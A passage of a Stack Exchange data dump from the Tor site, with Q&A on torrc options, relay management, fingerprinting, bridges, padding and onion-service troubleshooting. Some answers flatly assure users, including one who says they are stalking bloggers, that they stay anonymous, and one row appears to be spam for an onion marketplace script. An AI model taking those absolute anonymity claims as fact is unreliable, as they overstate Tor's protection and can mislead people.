&quot;ipv6=[ipv6address]:orport&quot; flag is present, then the directory authority is listening for IPv6 connections on the indicated IPv6 address and OR Port. Tor will contact the authority at ipv4address to download directory documents. The provided port value is a dirport; clients ignore this in favor of the specified &quot;orport=&quot; value. If an IPv6  ORPort is supplied, Tor will also download directory documents at the IPv6 ORPort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no DirAuthority line is given, Tor will use the default directory authorities. &lt;strong&gt;NOTE: this option is intended for setting up a private Tor network with its own directory authorities. If you use it, you will be distinguishable from other users, because you won’t believe the same authorities they do.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DirAuthorityFallbackRate NUM&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When configured to use both directory authorities and fallback directories, the directory authorities also work as fallbacks. They are chosen with their regular weights, multiplied by this number, which should be 1.0 or less. The default is less than 1, to reduce load on authorities. (Default: 0.1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;AlternateDirAuthority [nickname] [flags] ipv4address:port fingerprint&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;AlternateBridgeAuthority [nickname] [flags] ipv4address:port  fingerprint&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These options behave as DirAuthority, but they replace fewer of the default directory authorities. Using AlternateDirAuthority replaces the default Tor directory authorities, but leaves the default bridge authorities in place. Similarly, AlternateBridgeAuthority replaces the default bridge authority, but leaves the directory authorities alone.&lt;/p&gt;&#xA;" OwnerUserId="28399" LastActivityDate="2019-12-31T05:01:08.287" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20746" PostTypeId="1" CreationDate="2020-01-03T12:18:33.727" Score="0" ViewCount="121" Body="&lt;p&gt;I have set up a relay with its own dynamic public IP directly on the Internet. The only port allowed on the public interface is the ORPort, and this is the way I want to keep it. However, it would be beneficial to also let this relay be reachable from my private network for management purposes. I would like both SSH and Control Port. The relay should not have Internet access through the private network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to achieve this?&#xA;Are there security concerns with this setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="28414" LastActivityDate="2022-02-22T20:03:50.503" Title="Relay on public and private network; recommendations" Tags="|relays|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20750" PostTypeId="2" ParentId="20746" CreationDate="2020-01-04T11:50:19.857" Score="0" Body="&lt;p&gt;Recommendation: SSH over Tor. Create an v3 onion service for SSH. This will reduce your attack surface to only allow connections from Tor but not from the internet. Best practice for SSH security is to use a key to log in and not a password. Also, you can have SSH run on 2222 or some random port instead of the standard port 22 to further hide that it is actually out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The negative is that SSH over Tor is noticeable laggy. Not to the point of being unusable, but to the point that it can be really irritating if you are expecting a near instantaneous response time.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-04T11:50:19.857" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20751" PostTypeId="1" CreationDate="2020-01-05T11:38:55.023" Score="0" ViewCount="232" Body="&lt;p&gt;I want to know about what a web browser's fingerprint like in a VM, if VM runs a common OS and have default system settings. Can VM be configured to not have any of host machine's fingerprint?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the VM software we discuss would better be FOSS, like Virtualbox or qemu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question can be on not just web browser, but also other kind of softwares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Here I just want to ask about fingerprint, ignoring IP addresses, web scripts and tracking cookies)&lt;/p&gt;&#xA;" OwnerUserId="25156" LastActivityDate="2020-01-06T16:59:28.560" Title="Does Firefox in VM have a common enough fingerprint so I don't need tor browser?" Tags="|firefox|fingerprinting|virtual-machine|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20752" PostTypeId="2" ParentId="7206" CreationDate="2020-01-05T15:35:01.507" Score="2" Body="&lt;p&gt;COMMANDs: (combine COMMANDs to specify multiple options       simultaneously)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get bridges            Request vanilla bridges.&#xA;get transport [TYPE]   Request a Pluggable Transport by TYPE.&#xA;get help               Displays this message.&#xA;get key                Get a copy of BridgeDB's public GnuPG key.&#xA;get ipv6               Request IPv6 bridges.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently supported transport TYPEs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    fte&#xA;&#xA;    obfs3&#xA;&#xA;    obfs4&#xA;&#xA;    scramblesuit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NOTE:The minimum time between&#xA;  emails is 3 hours. All further emails during this time period will be ignored.&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Example : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To:bridges@torproject.org&lt;/p&gt;&#xA;&#xA;&lt;p&gt;body: get bridges &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Send !&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="28435" LastActivityDate="2020-01-05T15:35:01.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20754" PostTypeId="2" ParentId="4751" CreationDate="2020-01-06T10:25:55.433" Score="0" Body="&lt;p&gt;Laravel can be a good option for this I found the best script that can be used as eCommerce for onion website&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://tor.wittyanswer.com/onion-ecommerce-marketplace-script/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tor.wittyanswer.com/onion-ecommerce-marketplace-script/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;this script is built especially for &lt;strong&gt;TOR&lt;/strong&gt; network&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://demo.botdigit.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://demo.botdigit.com/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Feature of this script and CMS ?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Laravel Security Features&lt;/li&gt;&#xA;&lt;li&gt;Reduce Laravel Vulnerabilities From CSRF (Cross-Site Request Forgery)&lt;/li&gt;&#xA;&lt;li&gt;Protection against XSS (Cross-Site Scripting)&lt;/li&gt;&#xA;&lt;li&gt;SQL Injection&lt;/li&gt;&#xA;&lt;li&gt;Improve Laravel Application Security&lt;/li&gt;&#xA;&lt;li&gt;Laravel Security Packages&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28440" LastEditorUserId="30326" LastEditDate="2020-08-22T18:51:57.667" LastActivityDate="2020-08-22T18:51:57.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20755" PostTypeId="2" ParentId="20751" CreationDate="2020-01-06T16:59:28.560" Score="1" Body="&lt;p&gt;There are several online tools that allow you to test the fingerprint of Tor Browser and other browsers. For example, the Electronic Frontier Foundation's &lt;a href=&quot;http://panopticlick.eff.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;panopticlick.eff.org&lt;/a&gt;. Using these tools, it is straightforward to get a general idea of the uniqueness of your fingerprint with different browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, using Panopticlick while running the default configuration of Tor Browser 9.0.2 for Linux, I get the result that the browser has &lt;strong&gt;10.2 bits&lt;/strong&gt; of uniquely identifying information, and in the past 45 days, only one in &lt;strong&gt;1176.04 browsers&lt;/strong&gt; using that service had the same fingerprint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Performing the same experiment on a fresh install of Firefox 71.0 running in a VirtualBox Windows 10 VM, I get a Panoticlick result of &lt;strong&gt;16.58 bits&lt;/strong&gt; of identifying information, and &lt;strong&gt;one in 97636 browsers&lt;/strong&gt; had the same fingerprint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While these tests may not check for every possible fingerprinting method, they at least suggest that the default Tor Browser configuration is much more anonymous than the default Firefox configuration running on a VM.&lt;/p&gt;&#xA;" OwnerUserId="28442" LastActivityDate="2020-01-06T16:59:28.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20756" PostTypeId="1" AcceptedAnswerId="20757" CreationDate="2020-01-06T17:07:37.230" Score="1" ViewCount="277" Body="&lt;p&gt;Running a Tor relay is too hard and complicated for many people who may want to help Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why there is no click-to-run method for running a Tor relay? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Like Tor Browser&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Especially&lt;/strong&gt; for Windows users&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24814" LastActivityDate="2020-01-06T17:33:44.627" Title="Why there is no easy method for running a Tor relay?" Tags="|relays|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20757" PostTypeId="2" ParentId="20756" CreationDate="2020-01-06T17:33:44.627" Score="2" Body="&lt;p&gt;The short answer is that it could be. It is open source and anyone can write their own tool that could automate a one-click solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The longer answer is because Tor isn't simple. The truth is that making an &quot;easy&quot; button is actually kind of a bad idea. A good relay operator is a well-informed relay operator. That means spending time learning the things that make Tor hard and complicated. There are lots of tutorials out there that will take you through the process. Here is the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Relay Guide&lt;/a&gt; and here is the information on joining the &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays&quot; rel=&quot;nofollow noreferrer&quot;&gt;Relay operator&lt;/a&gt; mailing list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like to help fellow Tor users in countries where the internet is heavily censored but don't have the time to dedicate to setting up a relay, check out &lt;a href=&quot;https://snowflake.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Project Snowflake&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-06T17:33:44.627" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20758" PostTypeId="1" CreationDate="2020-01-06T21:35:02.267" Score="0" ViewCount="285" Body="&lt;p&gt;Well i tried to upload avatar and also header on twitter with Tor Browser and it's not working.&#xA;I have tried with and without NoScript and different configurations of browser - nothing is working.&#xA;I don't have any message from Tor Browser, just a message from Twitter saying:&#xA;&quot;Your banner failed to update because some media didn’t upload.&quot;/&quot;Your avatar failed to update because some media didn’t upload.&quot;&#xA;There's also no &quot;Allow in future&quot; option or just ANY option. Is there any way to deal with that?&lt;/p&gt;&#xA;" OwnerUserId="28444" LastActivityDate="2022-02-04T16:00:40.100" Title="Tor Browser and Twitter uploading Avatar/Header" Tags="|support|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20760" PostTypeId="1" CreationDate="2020-01-07T09:52:01.597" Score="0" ViewCount="295" Body="&lt;p&gt;I have a question about using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have built a tor server on centos7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To configure the access country, I set ExitNodes by referring to the manual. And download geoip and set GeoIPFile path(/etc/geoip/geoip).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until last week, the exit node (country) was well set, but suddenly an error occurred from this week. There is an error in setting the exitnode country. So I'm checking the server, and geolite2 has changed the download policy since December 19th. Previously, GeoLite2-Country.mmdb was downloaded from the public url(&lt;a href=&quot;https://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.mmdb.gz&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.mmdb.gz&lt;/a&gt;), and mmdb-convert.py was used to configure Tor's GeoIPFile(python3 mmdb-convert.py GeoLite2-Country.mmdb).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since 2020 years, however, the download method has been changed to a free license after signing up. So after maxmind membership, I downloaded the file (GeoLite2-Country.tar.gz), extracted it, converted it to GeoLite2-Country.mmdb, and configured it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, the exit node country is still not selected and the Tor server does not work.&#xA;No matter how I check the server, the difference is that the geoip part, I do not know why it can not be configured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone experiencing the same problem as me? If you know how to solve it, please reply.&lt;/p&gt;&#xA;" OwnerUserId="28447" LastActivityDate="2020-01-08T03:18:37.140" Title="Tor server setup problem with geoip" Tags="|geoip|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20762" PostTypeId="1" AcceptedAnswerId="20771" CreationDate="2020-01-07T14:20:33.573" Score="0" ViewCount="220" Body="&lt;p&gt;Back in 2007, Bauer et al. showed that a relay-level adversary could lie about their bandwidth capabilities, thus unfairly increasing the chance of having their relay selected in Tor circuits [^1].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, this vulnerability is fixed. How? Do directory authorities verify a relay's advertised bandwidth, and/or do clients? Or has the bandwidth advertisement mechanism been removed such that &lt;em&gt;only&lt;/em&gt; directories/clients measure it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[^1]: Bauer, Kevin, et al. &quot;Low-resource routing attacks against Tor.&quot; Proceedings of the 2007 ACM workshop on Privacy in electronic society. ACM, 2007.&lt;/p&gt;&#xA;" OwnerUserId="28293" LastActivityDate="2020-01-10T14:27:22.140" Title="How is a Tor relay's advertised bandwidth verified?" Tags="|relays|directory|bandwidth|relay-adversary|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20763" PostTypeId="2" ParentId="20760" CreationDate="2020-01-08T03:18:37.140" Score="-1" Body="&lt;p&gt;@tao_oat&#xA;I can't comment because of lack of reputation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes I need a specific country ip, so I configured the exit node like that. But to protect my privacy, I'll need to add an option to select entire country.&#xA;Thank you for your good feedback.&lt;/p&gt;&#xA;" OwnerUserId="28453" LastActivityDate="2020-01-08T03:18:37.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20767" PostTypeId="1" CreationDate="2020-01-09T14:20:21.467" Score="0" ViewCount="3847" Body="&lt;p&gt;I have been using Tor browser on my computer and it's been working fine on WiFi. I decided to download the latest Tor browser for Android and connected it with a successful connection but when I want to browse, I get a &quot;PROXY SERVER REFUSE CONNECTION&quot; . I have uninstalled the app several times and installed again but I still get the same problem. I have searched online for solution but found non. I have seen some people ask this same question on other forum but get no replies. Please has anyone experience this before or know the solution? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="28455" LastActivityDate="2022-10-10T20:43:57.793" Title="Tor for Android has connected but &quot;Proxy Server refuse connection&quot;" Tags="|proxy|android|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20771" PostTypeId="2" ParentId="20762" CreationDate="2020-01-10T14:27:22.140" Score="1" Body="&lt;p&gt;From: &lt;a href=&quot;https://blog.torproject.org/top-changes-tor-2004-design-paper-part-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;Top changes in Tor since the 2004 design paper (Part 2)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Bandwidth Authorities&lt;/p&gt;&#xA;&lt;p&gt;Of course, once you choose nodes with unequal&#xA;probability, you open the possibility of an attacker trying to see a&#xA;disproportionate number of circuits -- not by running an extra-high&#xA;number of nodes -- but by claiming to have a very large bandwidth.&lt;/p&gt;&#xA;&lt;p&gt;For a while, we tried to limit the impact of this attack by limiting&#xA;the maximum bandwidth that a client would believe, so that a single&#xA;rogue node couldn't just claim to have infinite bandwidth.&lt;/p&gt;&#xA;&lt;p&gt;In 0.2.1.17-rc, clients switched from using bandwidth values&#xA;advertised by nodes themselves to using values published in the&#xA;network status consensus document. A subset of the authorities measure&#xA;and vote on nodes' observed bandwidth, to prevent misbehaving nodes&#xA;from claiming (intentionally or accidentally) to have too much&#xA;capacity.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23661" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2020-01-10T14:27:22.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20772" PostTypeId="1" AcceptedAnswerId="20773" CreationDate="2020-01-11T08:41:38.807" Score="0" ViewCount="210" Body="&lt;p&gt;as i understand it, it requires the amount of information sent by the user and received by the server as well as the time of the information sent and received to be known for the attacker. is it possible for each relay to add a small random amount of information to each packet to try and obfuscate the amount of data so that the attack is harder? would this work? for example, data sent is 6kb but received by server is 8kb. another thought is to add delay but that would be infeasible for a low latency network. are there any proposed solutions for this?&lt;/p&gt;&#xA;" OwnerUserId="22708" LastActivityDate="2020-01-11T12:58:25.320" Title="protecting against end to end confirmation attacks, are there any possible solutions that is theoretically feasible?" Tags="|attacks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20773" PostTypeId="2" ParentId="20772" CreationDate="2020-01-11T12:58:25.320" Score="0" Body="&lt;p&gt;This is covered in the &lt;a href=&quot;https://2019.www.torproject.org/docs/faq.html.en#SendPadding&quot; rel=&quot;nofollow noreferrer&quot;&gt;General FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You should send padding so it's more secure.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like all anonymous communication networks that are fast enough for web browsing, Tor is vulnerable to statistical &quot;traffic confirmation&quot; attacks, where the adversary watches traffic at both ends of a circuit and confirms their guess that those endpoints are communicating. It would be really nice if we could use cover traffic to confuse this attack. But there are three problems here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Cover traffic is really expensive. And &lt;em&gt;every&lt;/em&gt; user needs to be doing&#xA;it. This adds up to a lot of extra bandwidth cost for our volunteer&#xA;operators, and they're already pushed to the limit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You'd need to always be sending traffic, meaning you'd need to always be online. Otherwise, you'd need to be sending end-to-end&#xA;cover traffic -- not just to the first hop, but all the way to your&#xA;final destination -- to prevent the adversary from correlating&#xA;presence of traffic at the destination to times when you're online.&#xA;What does it mean to send cover traffic to -- and from -- a web&#xA;server? That is not supported in most protocols.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Even if you &lt;em&gt;could&lt;/em&gt; send full end-to-end padding between all users and all destinations all the time, you're &lt;em&gt;still&lt;/em&gt; vulnerable to&#xA;active attacks that block the padding for a short time at one end and&#xA;look for patterns later in the path.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In short, for a system like Tor that aims to be fast, we don't see any use for padding, and it would definitely be a serious usability problem. We hope that one day somebody will prove us wrong, but we are not optimistic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We did however since implement &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/251-netflow-padding.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;netflow padding&lt;/a&gt; to collapse netflow records for improved security. Now padding is sent between a client's Tor connection and its guard bidirectionally at a random interval that we control from the consensus, with a default of 4 to 14 seconds if the connection is idle. This has the goal of stymying some of the potential traffic analysis attacks out there -- website fingerprinting, end-to-end correlation, and the things in between.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For details see the &lt;a href=&quot;https://blog.torproject.org/blog/network-team-hackfest-wilmington-watch&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog post&lt;/a&gt; by the Tor network team, the announcement on the tor-dev mailinglist or read further publications on padding.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-11T12:58:25.320" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20775" PostTypeId="1" CreationDate="2020-01-11T16:02:17.167" Score="3" ViewCount="328" Body="&lt;p&gt;I'm totally new to Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm kind of stalking some people's blogs and I don't want to let them know. For example if I access someone's wordpress blog (which can trace your locations) using Tor, is it gonna hide my location and what's the blogger gonna see in the stats section? How is it going to appear to them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to change anything in Tor's settings in order to hide my location?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="28473" LastActivityDate="2020-10-13T22:27:59.930" Title="Can Tor really hide my location when I access websites that has the tracing function?" Tags="|onion-services|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20776" PostTypeId="2" ParentId="20775" CreationDate="2020-01-12T08:06:21.703" Score="1" Body="&lt;p&gt;First of all, I would suggest reading: &lt;a href=&quot;https://2019.www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;What is Tor?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use Tor, the website will only see the Tor exit node. It will never see you. This means that you remain anonymous.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-12T08:06:21.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20778" PostTypeId="2" ParentId="20506" CreationDate="2020-01-13T19:36:31.290" Score="0" Body="&lt;p&gt;Your policies should be the same as Firefox of the same version. However if you are not able to connect, then you should review your firewall rules. More details can be found in the &lt;a href=&quot;https://2019.www.torproject.org/docs/faq.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;FAQ&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-13T19:36:31.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20779" PostTypeId="1" CreationDate="2020-01-14T10:31:18.943" Score="0" ViewCount="339" Body="&lt;p&gt;As in the title.&#xA;I want to know If my ISP can see all the traffic if Its a brand new computer with no cookies and previous activities, using linux and a virtual machine - whonix and tor.&lt;/p&gt;&#xA;" OwnerUserId="28482" LastActivityDate="2020-01-19T01:43:36.617" Title="Does my ISP know if I upload files to a specific site when im using tor/whonix? Can it track all the traffic?" Tags="|anonymity|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20780" PostTypeId="1" CreationDate="2020-01-14T13:54:53.183" Score="1" ViewCount="4391" Body="&lt;p&gt;OS: Kali Linux Live&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings have not been modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most '.onion' links that I try to access simply refuse to load. They will hang on the loading screen until the connection times out. Not all of them refuse to load, some of them actually do load. The websites I am trying to access are websites that have pretty a good uptime and are used quite often. You know, like, mainstream websites, but for the dark web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website that I especially need to access right now is Torum. It's link changed. The previous link worked fine, but now the new one just doesn't work, for some odd reason, regardless of being on the same server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas as to why this would be happening? Is anyone else having this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Log:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1/7/20, 18:26:08.382 [NOTICE] Bootstrapped 10% (conn_done): Connected to a relay&#xA;1/7/20, 18:26:08.382 [NOTICE] Bootstrapped 14% (handshake): Handshaking with a relay&#xA;1/7/20, 18:26:08.461 [NOTICE] Bootstrapped 15% (handshake_done): Handshake with a relay done&#xA;1/7/20, 18:26:08.462 [NOTICE] Bootstrapped 75% (enough_dirinfo): Loaded enough directory info to build circuits&#xA;1/7/20, 18:26:08.462 [NOTICE] Bootstrapped 90% (ap_handshake_done): Handshake finished with a relay to build circuits&#xA;1/7/20, 18:26:08.462 [NOTICE] Bootstrapped 95% (circuit_create): Establishing a Tor circuit&#xA;1/7/20, 18:26:09.640 [WARN] Our clock is 4 hours, 33 minutes behind the time published in the consensus network status document (2020-01-07 23:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings!&#xA;1/7/20, 18:26:09.640 [WARN] Received microdesc flavor consensus with skewed time (CONSENSUS): It seems that our clock is behind by 4 hours, 33 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings.&#xA;1/7/20, 18:26:09.640 [WARN] Problem bootstrapping. Stuck at 95% (circuit_create): Establishing a Tor circuit. (Clock skew -16432 in microdesc flavor consensus from CONSENSUS; CLOCK_SKEW; count 1; recommendation warn; host ? at ?)&#xA;1/7/20, 18:26:09.700 [NOTICE] Bootstrapped 100% (done): Done&#xA;1/7/20, 18:26:09.710 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&#xA;1/7/20, 18:26:09.710 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;1/7/20, 18:26:09.710 [NOTICE] Delaying directory fetches: DisableNetwork is set.&#xA;1/7/20, 18:26:41.178 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;1/7/20, 18:26:41.178 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;1/7/20, 18:26:41.178 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;1/7/20, 18:26:41.178 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;1/7/20, 18:26:41.178 [NOTICE] Opened Socks listener on 127.0.0.1:9150&#xA;1/7/20, 18:26:42.284 [NOTICE] New control connection opened from 127.0.0.1.&#xA;1/7/20, 18:26:42.383 [NOTICE] New control connection opened from 127.0.0.1.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28446" LastActivityDate="2024-01-05T14:06:25.773" Title="Most '.onion' links won't load?" Tags="|tor-browser-bundle|onion-routing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20781" PostTypeId="2" ParentId="20780" CreationDate="2020-01-14T19:18:41.153" Score="0" Body="&lt;p&gt;Most onion services are not running on servers. The are running on PC's, laptops, raspberry pi's etc. If the person running it turns off their machine, then the website is down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Troubleshooting an onion service is just like any other website. If you can get to onion site A but not onion site B, C, or D it is because those are down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://expyuzz4wqqyqhjn.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://expyuzz4wqqyqhjn.onion/&lt;/a&gt; is the site that I use as a test. If it is up, and another site is down, then I know that Tor is working but the other website isn't.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-14T19:18:41.153" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20782" PostTypeId="1" CreationDate="2020-01-15T15:18:34.173" Score="0" ViewCount="134" Body="&lt;p&gt;Is there a way to fetch all the Tor guard IPs from the Tor Project website? I looked for an API but could not see. The information is actually public, but I cannot nicely fetch it, only see it in the Relay Search table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help&lt;/p&gt;&#xA;" OwnerUserId="25606" LastEditorUserId="28502" LastEditDate="2020-01-18T15:32:40.173" LastActivityDate="2022-02-06T18:07:20.687" Title="Automated way to fetch Tor guard IPs?" Tags="|guard-node|torproject.org|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20783" PostTypeId="2" ParentId="20779" CreationDate="2020-01-16T10:59:54.793" Score="1" Body="&lt;p&gt;Your ISP knows 1 thing: that you are using Tor. They don't know where you go or what you do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use a bridge, they don't even know that you are using Tor. This is to help people in countries where using Tor is a crime.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-16T10:59:54.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20784" PostTypeId="2" ParentId="20758" CreationDate="2020-01-16T11:17:00.377" Score="0" Body="&lt;p&gt;I've confirmed this with my own twitter account. I do not see the same issue with other browsers with Tor. The only thing you can do is use a different browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Generally speaking it is poor practice to use other browsers than Tor Browser because you can my more easily fingerprinted though you are still anonymous. By logging into a Twitter account, you are fingerprinting yourself therefore this concern is pretty much moot when using Twitter. Twitter still won't know who you are unless you dox yourself.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-16T11:17:00.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
